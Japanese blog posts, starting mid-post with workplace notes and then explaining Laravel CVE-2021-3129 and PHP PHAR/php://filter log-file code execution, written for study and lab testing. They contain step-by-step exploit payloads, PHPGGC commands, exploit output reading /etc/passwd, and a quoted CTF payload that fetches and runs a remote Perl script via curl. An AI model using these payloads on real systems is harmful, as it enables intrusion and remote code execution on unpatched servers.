上の例でもOSSエンジニアは発表を専門として雇ったわけじゃないのだから、発表を専門とした人を雇おうという考え方です。これは良い話に見えますが、逆に言うと「お前はこれだけやれ」と言われているわけで「パワポも好きだから作りたいのに!」という人には機会損失なので一長一短ではあります。

ただ実際には資料作成もやりたいと言えばやらせてもらえますし、メリットのほうが大きいように感じます。

マネージメント

アウトプットとは関係ないですが、同じ考え方なので書いておきます。

OSSチームの人数が増えてきたのでグループに昇格して個別にチームを作ることになりました。そこで自分はマネージャを軽く打診されたのですが、Noと言いました。他のメンバーも全員Noと言ったようで、「じゃあマネージメントを専門とした人を雇おう」ということになりました。そもそもエンジニアリングとマネジメントは別のスキルだしね、ということで特に揉めることもなく話は終わりました。

エンジニアからマネージャに移るのは個人のキャリアとして全然良いことだと思いますが、全く別物なので0から学び直しになるはずです。せっかく捕まえた優秀なエンジニアをマネージャにするよりは専門の人を雇おうと考える方が会社としては合理的だなと個人的には感じます。

まとめ

開発の時間が全然足りずもっと自分のリソースをそこに割り振りたいという状態だったので、開発以外の仕事がどんどん削ぎ落とされていくのは本当にありがたいですし驚きがあったので書きました。

ちなみに社外発表はPythonにやらせようというタイトルにしようか悩みましたが思いっきり人力だし意味不明なのでやめました。

Laravelの脆弱性(CVE-2021-3129)の解説と検証

前回以下の記事を書きました。

knqyf263.hatenablog.com

これはLaravelの脆弱性(CVE-2021-3129)で使われた攻撃方法のうち応用が効きそうな部分を紹介した記事です。本記事ではLaravelでなぜ上のような攻撃が刺さる状態だったのかという詳細について書いておきます。

こちらが発見者のブログです。脆弱性の理解についてはにこれを読めば十分なので、自分のブログでは実際に試してみた時の話とそれによって得た自分の理解を中心に書いています。

www.ambionics.io

概要

Laravelのv8.4.2以下でデバッグモードを有効にしている場合に任意コード実行が可能な脆弱性が2021年の頭に公開されました (CVE-2021-3129)。正確にはLaravelが依存しているIgnitionの脆弱性です。

実際に攻撃を受けて仮想通貨のマイナーを仕込まれた以下の記事も話題になりました。

qiita.com

ちなみに上の記事内で紹介されているKinsingの解説記事は弊社ブログなので宣伝しておきます(以下は翻訳記事なので一次ソースではないですが)。

www.creationline.com

話を戻すと以下の条件を満たす場合に影響を受けます。

  • Ignition <= 2.5.1
  • Laravel <= 8.4.2
  • APP_DEBUG = true

対策としてはバージョンを上げるかAPP_DEBUG = falseにすれば良いわけですが、何でこれで攻撃に繋がるのか、というのを説明します。

ちなみに本番環境でデバッグモードを有効にするのはありえないと思うかもしれませんが、自分が試した限りではLaravelのプロジェクトを普通に作るとデフォルトで APP_DEBUG = true になっていました。何か自分の作り方が悪かった可能性はありますが、自分と同じように作った人はデフォルト設定がtrueになりますし、そのままデプロイしてしまう可能性は十分あると思います。つまりデフォルト設定がセキュアじゃないので、有効にするやつが悪い!と言うよりはLaravel側の設定が良くない気がします。

詳細

APP_DEBUG=true時にエラーが起きた場合、Ignitionは自動修正機能を提供しています。例えばPHPではundefinedな変数があるとエラーになってしまうわけですが、そのエラーを検知した時に自動で修正を提案してくれます。つまり {{ $username }} となっていてエラーが起きたのであれば {{ $username ?? '' }} に置換しましょうか?と提案してきます。こうすると仮に $username が定義されていなくてもデフォルト値のおかげでエラーが起きなくなります。提案ってどういうこと?となりますが、以下の画面を見てください。上のブログから引用しています。

f:id:knqyf263:20211011174717p:plain

ここで Make variable optional とすると実際にPHPファイルが書き換えられます。自分は今までこういった機能を見たことも聞いたこともなかったので驚きました。最近Webサービスの開発に携わってないから知らないだけで他のフレームワークでもあるんでしょうか?何にせよIgnitionがHTTPリクエストを飛ばし、実際にファイルの書き換えを行ってくれます。最初説明を見ても全く理解が出来なかったのですが、自分でLaravel立ち上げてようやく意味がわかりました。「ボタン押したらファイル書き換わってるじゃん...」となりました。

プログラムを自動で修正してくれるなんて何と凄い機能だ!と思う反面、セキュリティ大丈夫かな...と気になるところです。実際には想像より遥かに安全だったようですが、それでも結局は悪用され今回の脆弱性に至っています。

以下も引用ですが、 variableNameviewFile がパラメータとして送られていることが分かります。どのファイルのどの変数名を書き換えるかの指定です。そして solution の名前からしていくつかの簡単な修正がサポートされているようです。

f:id:knqyf263:20211011174739p:plain

最初はsolutionとして悪用できそうなクラスを渡すことを考えたようですが、きちんとRunnableSolutionを実装している既存クラスしか受け付けないようになっていたためそれは難しかったようです。

class SolutionProviderRepository implements SolutionProviderRepositoryContract
{
    ...

    public function getSolutionForClass(string $solutionClass): ?Solution
    {
        if (! class_exists($solutionClass)) {
            return null;
        }

        if (! in_array(Solution::class, class_implements($solutionClass))) {
            return null;
        }

        return app($solutionClass);
    }
}

そこで次に、上で使われている MakeViewVariableOptionalSolution を使って任意のファイル書き換えが出来るかを確かめます。

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    ...

    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']); // [1]
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents); // [2]

        $originalTokens = token_get_all(Blade::compileString($originalContents)); // [3]
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) { // [4]
            return false;
        }

        return $newContents;
    }

    protected function generateExpectedTokens(array $originalTokens, string $variableName): array
    {
        $expectedTokens = [];
        foreach ($originalTokens as $token) {
            $expectedTokens[] = $token;
            if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_COALESCE, '??', $token[2]];
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
            }
        }

        return $expectedTokens;
    }

    ...
}

少し複雑ですが、[1]で viewFile として渡されたファイルを読み込みます。次に[2]で $variableName$variableName ?? '' に置換しています。そして[3]の箇所で元々のファイルと新しいファイルをトークン化しています。その後 generateExpectedTokens で想定されているtokenを作り新しいファイルと比較します。これが一致しない場合は[4]で makeOptional がfalseを返して置換は実行されず終了しまう。そのため、 $variableName 経由での攻撃は難しそうです。

しかし既に前回の記事を読んでくださった方は file_get_contentsfile_put_contentsviewFile の値が渡されていることが気になって仕方ないと思います。 variableName で存在しない変数を指定すればその辺りの処理は実質的に全てスキップされ以下のみが残ります。

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

つまり viewFile を読み込んでそのまま書き戻すことが出来ます。それなら何も変更できないじゃないかと思われるかもしれませんが、 php:// ラッパーを使うことでBase64エンコード・デコードなどのちょっとした処理が可能になります。あとは以下の記事で紹介したように php:// のfilterをうまく工夫することでログファイルに出力されるエラーメッセージを通してログファイルをPHARに置き換えることが出来ます。

詳細は以下です。

knqyf263.hatenablog.com

攻撃の流れ

ということで攻撃の流れを書いておきます。各ステップの詳細は上の記事を参照してください。

  1. PHPGGCを使ってデシリアライズで攻撃が刺さるようなPHARを作る
  2. それをBase64してUTF-16に変換し、RFC2045に沿ってエンコードする
  3. まず最初に consumed フィルタを使ってログファイルをクリアする
  4. 最初に適当な文字列を含んだペイロードviewFile に含むリクエストを送る
  5. 2で作ったペイロードviewFile として送りつけエラーメッセージとしてログファイルに書き込ませる
  6. viewFilephp://filter を使ってPHARの前後にあるゴミを取り除きログファイルに書き戻す
  7. 4によってログファイルはPHARになっているため、再び viewFileで phar://を指定して読み込ませる
  8. Metadataのデシリアライズにより攻撃が刺さる

PHARの作成

この辺は知っている人には常識だと思いますが、PHPGGCというデシリアライズ攻撃をする際に便利なツールがあるので、これを使って細工したPHARを作ります。

$ git clone https://github.com/ambionics/phpggc.git
$ cd phpggc
$ php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o output.phar

上ではidコマンドが実行されるようなPHARを作って output.phar に出力しています。

(Base64 + UTF-16 + RFC2045) エンコード

次にこれをBase64エンコードします。

$ cat output.phar | base64 -w0
PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqrAQAAAgAAABEAAAABAAAAAABUAQAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7cjoyO3M6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6MjoiaWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fQUAAABkdW1teQQAAAAXW2FhBAAAAAx+f9ikAQAAAAAAAAgAAAB0ZXN0LnR4dAQAAAAXW2FhBAAAAAx+f9ikAQAAAAAAAHRlc3R0ZXN05TV3ivvwmru5FUE3EkaHmKbj/ukCAAAAR0JNQg==

この時、最後にパディング用の = が入っていますがこれは1つの値のみをエンコードした場合は不要という認識です。複数のBase64エンコード文字列を連結した場合には区切りを知るために4バイトの倍数にする必要がありますが、それ以外では不要のはずなので削ります(もしもっと深い理由があったら教えて下さい)。削っておかないと上の記事で書いたようにsuffixにスタックトレースが入り文字列の途中に = が入ってしまいPHPBase64は失敗します。ということでsedで削ります。

$ cat output.phar | base64 -w0 | sed -E 's/=+$//g'
PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqrAQAAAgAAABEAAAABAAAAAABUAQAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7cjoyO3M6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6MjoiaWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fQUAAABkdW1teQQAAAAXW2FhBAAAAAx+f9ikAQAAAAAAAAgAAAB0ZXN0LnR4dAQAAAAXW2FhBAAAAAx+f9ikAQAAAAAAAHRlc3R0ZXN05TV3ivvwmru5FUE3EkaHmKbj/ukCAAAAR0JNQg

また、UTF-16でかつRFC2045でデコードできるように =00 を各文字の後ろに足していきます。

$ cat output.phar | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g'
P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00...(省略)

ログファイルのクリア

consumed フィルタを使ってログファイルをまっさらな状態にします。

viewFile: php://filter/read=consumed/resource=/path/to/storage/logs/laravel.log

適当な文字列の送信

全体のサイズを偶数にするために、適当な文字列を viewFile に入れて送ります。これはデコード後に消えてほしいので上で作ったペイロードは送りません。

viewFile: AA

攻撃用ペイロードの送信

上で作ったペイロードviewFile に入れて送ります。当然こんなファイルは存在しないので、これはNo such file or directoryとなりこの値がログファイルに書き込まれます。上の AA と合わせてログファイルには2エントリ書き込まれている状態です。

viewFile: U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00

ログファイルの上書き

現在は上の2つのペイロードを含むエントリが書きこまれている状態です。

[prefix]AA[midfix]AA[suffix]
[prefix]U=00E=00s=00...[midfix]U=00E=00s=00...[suffix]

当然これはPHARとして有効ではないので、 php://filter を使って1エントリの内容や2エントリ内の前後のゴミを消しつつPHARとして有効な値をログファイルに書き戻します。

viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log

このリクエストの時点でLaravelのログファイル( /path/to/storage/logs/laravel.log )は細工されたPHARになります。

PHARの読み込み

あとは最後のリクエストでそれを読み込ませれば完了です。

viewFile: phar:///path/to/storage/logs/laravel.log

試してみる

試すためのリポジトリを作ったので自分で試したい方はどうぞ。

github.com

やられ側

やられ環境のDockerfileは以下です。

FROM php:7.3.31-alpine3.14

# Install composer
RUN php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" \
    && php composer-setup.php \
    && php -r "unlink('composer-setup.php');" \
    && mv composer.phar /usr/local/bin/composer \
    && chmod +x /usr/local/bin/composer

# Create a laravel project
RUN composer create-project --prefer-dist laravel/laravel /myapp "8.4.2"

WORKDIR /myapp

# Lock the ignition version
RUN composer require --dev facade/ignition==2.5.1

CMD ["php", "artisan", "serve", "--host", "0.0.0.0"]

https://github.com/knqyf263/CVE-2021-3129/blob/c8f516bf531bc3ed5376c5b8bfa76f92ef5695aa/victim/Dockerfile

最初 composer:2 をベースイメージとして試していたのですが、PHP 8だとPoCがうまく動きませんでした。そのため一旦PHP 7にして自前でcomposerをインストールしています。

あとは laravel/laravel を8.4.2に指定してLaravelのプロジェクトを作り、その中の依存ライブラリであるIgnitionを2.5.1にしています。 laravel/framework のバージョンは古いバージョンにしなくてよいのか悩んだのですが、以下のように 8.62.0でも攻撃が刺さっているので laravel/framework のバージョンは関係なさそうです。

/myapp # cat composer.lock | grep -B1 -A 1 '"name": "laravel/framework"'
        {
            "name": "laravel/framework",
            "version": "v8.62.0",

最後はWebサーバを起動しています。

概要にも書きましたが上のように composer create-project でLaravelのプロジェクトを作ったら .env のAPP_DEBUGはtrueになっていました。つまりデフォルトはデバッグモードが有効に見えます。そうなるとこのままデプロイしている人は少なくないでしょうし影響を受けるサーバは多いのではないかと思います。

/myapp # cat .env | grep DEBUG
APP_DEBUG=true

攻撃側

PoCが動くように必要なライブラリを入れているだけで特に変わったことはしていません。

FROM php:7.3.31-alpine3.14

# Install dependencies
RUN apk add git python3 py3-pip \
    && pip install requests \
    && git clone https://github.com/ambionics/phpggc.git
COPY exploit.py .

https://github.com/knqyf263/CVE-2021-3129/blob/c8f516bf531bc3ed5376c5b8bfa76f92ef5695aa/attacker/Dockerfile

PoCコードは以下のリポジトリから拝借しています。自分のリポジトリでは動かなかったところを少し直したり不要なコードを削ったりしています。

github.com

攻撃コードを見ると上で説明した順番でリクエストを送っているのが分かると思います。

CVE-2021-3129/exploit.py at c8f516bf531bc3ed5376c5b8bfa76f92ef5695aa · knqyf263/CVE-2021-3129 · GitHub

実行

セットアップ

まずdocker-composeで2つのコンテナを立ち上げます。

$ git clone https://github.com/knqyf263/CVE-2021-3129.git
$ cd CVE-2021-3129
$ docker-compose build
$ docker-compose up -d

動作確認

http://localhost:8000/ にアクセスしてLaravelが正常に動作していることを確認します。

f:id:knqyf263:20211011175156p:plain

攻撃

あとは攻撃用に作ったコンテナに入ってスクリプトを実行します。

$ docker-compose exec attacker sh
/ # python3 exploit.py
[*] Try to use monolog_rce1 for exploitation.
[+] PHPGGC found. Generating payload and deploy it to the target
[*] Result:
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
...

/etc/passwd を表示するようにしていたので、攻撃が成功して /etc/passwd の中身が表示されています。

まとめ

Laravelの脆弱性(CVE-2021-3129)の動作原理を見て攻撃を試すところまで行いました。記事を2つに分けないといけないぐらいには複雑だと思いますし、大体複雑な脆弱性というのは現実には刺さらないことが多いのですがこの攻撃は割とシュッと刺さります。

PHP 8だと手元だと動きませんでしたがPHP 7を使っているところはまだまだ多いと思います。自分の検証が間違っていただけかもしれませんし、PoCを修正すれば動く可能性もあるのでPHP 8なら安全かは不明です。またデバッグモードに関してもデフォルト設定のままになっていて有効なところは結構ありそうな気がします。他にもログファイル名の推測だったりも必要ですが、デフォルトだと storage/logs/laravel.log になりますし他の場所にあるとしても /var/log の下だったり候補は絞りやすそうに思います。

影響バージョンも広いですし実際にKinsingのマルウェアが悪用しているぐらいなので危険度は高いと思います。時間が経っているので基本的には各組織既に対策済みだと思いますが、もし対策がまだでかつ攻撃条件を満たす場合は急いで対策しましょう(その場合は既に被害を受けている可能性が高いと思いますが)。

PHPでログファイルへの読み書きを通して任意コード実行をする方法

以前少し話題になったLaravelのデバッグモード有効時の脆弱性であるCVE-2021-3129のPoCを読んでいたのですが、思ったより難しくて何でこんなことをしているんだろうと思ったら発見者による解説ブログがありました。読んでみたらバイパスのために思ったより色々していて普通に勉強になったのでメモを残しておきます。CTFerからすると常識な内容かもしれないので、何か間違いや補足があれば指摘をお願いします。

www.ambionics.io

前提知識1

上の脆弱性を理解するためにはいくつかの前提知識を必要とするため最初にまとめておきます。

まず、PHPでは外部から渡されたオブジェクトをデシリアライズすると条件によっては任意のPHPスクリプトが実行可能です。OWASP Top 10では「安全でないデシリアライゼーション」と呼ばれています。PHPに限った話ではないのですが、LaravelはPHPで書かれているため今回はPHPについてメインで説明しています。

github.com

安全でないデシリアライゼーション自体は昔から有名な脆弱性で、少し調べると解説記事がたくさん出てきます。そのうちの一つを貼っておきます。

blog.tokumaru.org

実際に任意のスクリプトを実行するためにはPOP (Property oriented programing)が必要になりますが、そこも本題ではないので省略します。調べたら解説が出てきますし、そういう攻撃を行うためのペイロードを作成するツールが存在するので、詳細は知らなくても何とかなります。

github.com

そしてPHPにはPHARというアーカイブフォーマットがあるのですが、PHPphar:// というストリームラッパーを使うとこのPHARファイルに対する読み書き操作が出来ます。以下の例のように http://file:// と同じように扱えます。 http:// はリモートファイルに対しての操作ですが、 phar:// はローカルファイルのみです。

file_get_contents("http://example.com/image.jpeg")

file_get_contents("file://../images/image.jpeg")

file_get_contents("phar://./archives/app.phar")

このPHARはJava Archive (JAR)のようにライブラリやアプリケーションを一つのファイルとして配るためのものです。このPHARにはStub, Manifest, File Contents, Signatureの4つが含まれていますが、このうちManifestの中にはメタデータが含まれており、シリアライズされた形で保存されています。つまり file_get_contents ('phar://./archives/app.phar') を呼ぶとapp.phar内のメタデータがデシリアライズされます。このメタデータを攻撃者が細工することで「安全でないデシリアライゼーション」に繋げることが出来るというのが大枠です。つまりPHARを攻撃者がアップロードすることができ、かつそれを phar:// ラッパーで読み込ませることが出来れば任意スクリプト実行に繋がる可能性があるということです。

この手法は自分が知る限りBlack Hat 2018で発表されたもので、ペーパーも理解しやすいのでもし知らなければ読んでみてください。当時話題になったのでセキュリティ業界では既に有名ですが、開発者では知らない人も多いと思います。

https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf

この辺の解説もわかりやすいです。

pentest-tools.com

過去にブログ書いたつもりだったのですが、読むだけで満足して終わってたみたいなので元気があればこの攻撃手法についての解説も書きます。

ということで長くなりましたが、以下のような条件を満たしている場合に任意スクリプトの実行が可能です。

  1. サーバに任意のファイルを書き込める
  2. 書き込んだファイルを読み込ませることが出来る

この2つを満たした場合、

  1. サーバにPHARファイルを書き込む
  2. 書き込んだファイルを phar:// で読み込ませる

というステップを踏むことで攻撃に繋げることが出来ます。実際に任意のPHPスクリプトを実行するためには攻撃に使えそうなガジェットを探す必要がありますが、上記のPHPGGCが攻撃に使えるクラスを既にリストアップしてくれているので、任意スクリプト実行に繋がる可能性はそこそこ高いと思って良いのではないかと思います。何の話をしているか分からないという人は「安全でないでシリアライゼーション」の説明を読んでみてください。あと任意のPHPスクリプトが実行可能ということは任意のOSコマンドも実行可能です。

前提知識2

上の前提を読んで、サーバに任意のファイルを書き込むところ口がないから大丈夫と思う開発者もいるかも知れません。確かにアップロード機能等がなければ任意のファイルを書き込むのは簡単ではありません。ですが、ファイルの一部に攻撃ペイロードを書き込めれば残りの部分をうまく読み飛ばして、PHARの部分だけを読ませるという手法が存在します。ファイルの一部だけ制御可能というのはログファイルなどがイメージ付きやすいかと思います。ログファイルにはユーザから送られたクエリの値が書き込まれたりすることもありますし、ユーザから受け取った値によりエラーが起きたときはその値を含んだスタックトレースが吐かれることもあります。

ファイルの一部への書き込みを悪用した攻撃手法で有名なのが、以下のOrange TsaiさんによるCTFの問題です。こちらはログファイルではなくPHPのセッションファイルを使っています。大分前に読んだのにすっかり忘れていたので改めて簡単にまとめておきます。

blog.orange.tw

まず、以下のようなPHPファイルがサーバで動作しているとします。

<?php
  ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

1行だけなので読むのは簡単です。orangeというパラメータの値をファイルとして読み込み、 @<?php で始まっている場合はそれを実行するという内容です。それ以外の場合はこのファイル自身を表示します。つまり、上で述べた条件の2は既に満たしています。今回はCTFの問題ということで phar:// を使ってデシリアライゼーション攻撃をしなくても include($_)でファイルを実行するようにしてくれています。CTFとしては何とかして include($_) で任意スクリプトを実行するというのがゴールです。

次にファイルへの書き込みですが、これは上述したようにセッションファイルを使っています。PHPではセッションの情報を一時的にファイルとして書き出すため、そこに攻撃コードをセットして読み込ませるというのが大まかな流れです。PHPの設定で session.auto_start がOffになっていると実際にはCookieでPHPSESSIDを送ってもファイルは作られないようですが、 PHP_SESSION_UPLOAD_PROGRESS をマルチパートで送るとPHPは自動的にセッションを有効にしてくれるそうです。

上記ブログからそのまま引用しておきます。

$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -d 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'  -F 'file=@/etc/passwd'
$ ls -a /var/lib/php/sessions/
. .. sess_iamorange

自分でも試してみたのですが、Dockerで作ったせいか session.save_path/var/lib/php/sessionsではなく /tmp になっていたので最初セッションファイルが見つからず少し焦りました。環境を用意したので他に試したい方がいたらどうぞ。

github.com

このセッションファイルの中身を見てみます。まずファイル名のサフィックスが PHPSESSID の値になっています(この例ではiamorange)。

root@b4fc2e6f0d2a:/var/www/html# cat /tmp/sess_iamorange
upload_progress_blahblahblah|a:5:{s:10:"start_time";i:1633722789;s:14:"content_length";i:7956;s:15:"bytes_processed";i:7956;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:6:"passwd";s:8:"tmp_name";s:14:"/tmp/phpTqucMR";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1633722789;s:15:"bytes_processed";i:7630;}}}

そして中身を見ると upload_progress_ のあとに PHP_SESSION_UPLOAD_PROGRESS で渡した値が書き込まれていることが分かります(この例だとblahblahblah)。つまりこのパラメータに攻撃コードを仕込めばセッションファイルに書き込めるということです。

上記ではセッションファイルの中身を見てみましょうと気軽に言いましたが、実際には session.upload_progress.cleanup がデフォルトでOnになっているためリクエストが終わると即座にセッションファイルの中身は消されてしまいます。つまりこのファイルを読み込ませるためには書き込み用のリクエストと読み込み用のリクエストを同時に大量に送ってレースコンディションを引き起こす必要があります。または、大きいファイルを送ってセッションを維持したままにするという方法もあります。上では一旦cleanupをOffにして中身を確認しています。

これで任意の値をファイルに書き込むことが出来るようになったわけですが、前後にゴミがついているため細工したPHARを書き込んだとしてもファイル全体として見るとPHARとして有効ではありません。このCTFの問題として見た場合でも、ファイルの先頭は @<?php でなければならないため、 upload_progress_ のせいでファイルは実行されません。

ここで、 php:// ストリームラッパーを使います。どういうラッパーなのかについては調べてくださっている記事があったので詳細はそちらを参照してください。

www.ryotosaito.com

特に重要なのは php://filter です。ファイルを読み込む際にBase64デコードしてから読み込む、といった処理が可能です。以下のような形式になります。

php://filter/[FILTER_A]/.../resource=/tmp/sess_xxxxx

これはresourceとして指定したファイルに対してfilterを適用するという意味になります。filterは複数指定可能です。さらに読み込みだけでなく書き込み時のフィルターも可能ですし、Base64以外の様々な処理も可能です。他の処理については後ほど本題で触れますが、ここではBase64について触れます。

上のfilterで convert.base64-decode を使うとBase64デコードが出来るのですが、何と都合が良いことにBase64として無効な文字は無視してくれます。試してみましょう。

まずは普通のBase64です。一旦ファイルにエンコードしたものを書き込んで php://filter でデコードします。 read= にすると読み込み時のみfilterが適用されます。

$ echo test | base64 > /tmp/test
$ php -a
Interactive shell

php > $f = 'php://filter/read=convert.base64-decode/resource=/tmp/test';
php > $contents = file_get_contents($f);
php > echo($contents);
test

確かにtestが出力されました。では次に前後にBase64として無効なゴミを入れてみます。

$ echo test | base64
dGVzdAo=
$ echo ':;.!!!!!dGVzdAo=:;.!!!!!' > /tmp/test
$ php -a
Interactive shell

php > $f = 'php://filter/read=convert.base64-decode/resource=/tmp/test';
php > $contents = file_get_contents($f);
php > echo($contents);
test

ということで問題なくデコードできています。記号などのBase64の64文字に入らないような無効な文字はスキップしてくれるため、何回かBase64デコードすればほとんどは無効な文字列となります。つまり upload_progress_Base64エンコードされた値ではないため、何回かデコードすることで無効な文字列となり、それらをスキップしてその後の自分の書き込んだ文字列だけうまく読み込ませることが出来ます。

以下の文字列を実行したいとします。

@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////

まずこれをBase64します。

$ echo '@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////' | base64
QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v

この文字列に upload_stream_プレフィックスとして付与したものをデコードしてみます。

$ echo upload_progress_QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v > /tmp/test
$ php -a
Interactive shell

php > $f = 'php://filter/read=convert.base64-decode/resource=/tmp/test';
php > echo file_get_contents($f);
hik
޲7W&&vRGrr&2W&

PHPスクリプトが現れなくてはいけないはずなのに、デコード結果は元々の文字列と異なってしまっています。これはBase64は6ビットずつにしていくため、プレフィックス部分がうまく8ビットの倍数になってくれないとデコードの区切りがずれてしまう、アラインメントがおかしくなってしまうためです。 upload_progress_ は16文字なので96ビットになって良さそうに見えますが、 _ は無効な文字であり無視されます。そうすると14文字なので84ビットになって割り切れなくなります。そうすると先頭のQDの12ビットを足して96ビットになってしまい、元々の文字列に戻ってくれません。そのため、文字数を合わせるためにパディングをする必要があります。12ビット足りないので上記ブログに習ってZZを足してみます。ここはどうせ無視されるのでBase64として有効なら何でも良いはずです。複数のデコードでうまく消えてくれるような文字列である必要はあります。

$ echo upload_progress_ZZQDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8vCg== > /tmp/test
$ php -a
Interactive shell

php > $f = 'php://filter/read=convert.base64-decode/resource=/tmp/test';
php > echo file_get_contents($f);
hik
޲Y@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////

今回は確かに最初にエンコードした文字列が現れてくれています。しかし、hikYなどBase64としても有効な文字列が一部残ってしまっています。これが複数回Base64を必要とする理由です。今回は3回のデコードで先頭のゴミが消せるようなのでやってみます。ちなみにサフィクスについては上のスクリプトで分かるようにコメントアウトしているため、3回のデコード後にゴミが残ったとしてもスクリプトには影響を与えないので問題ありません。そもそも<?php ?>でちゃんと閉じているので問題ないはずですが。

上のスクリプトを3回Base64エンコードすると以下になります。

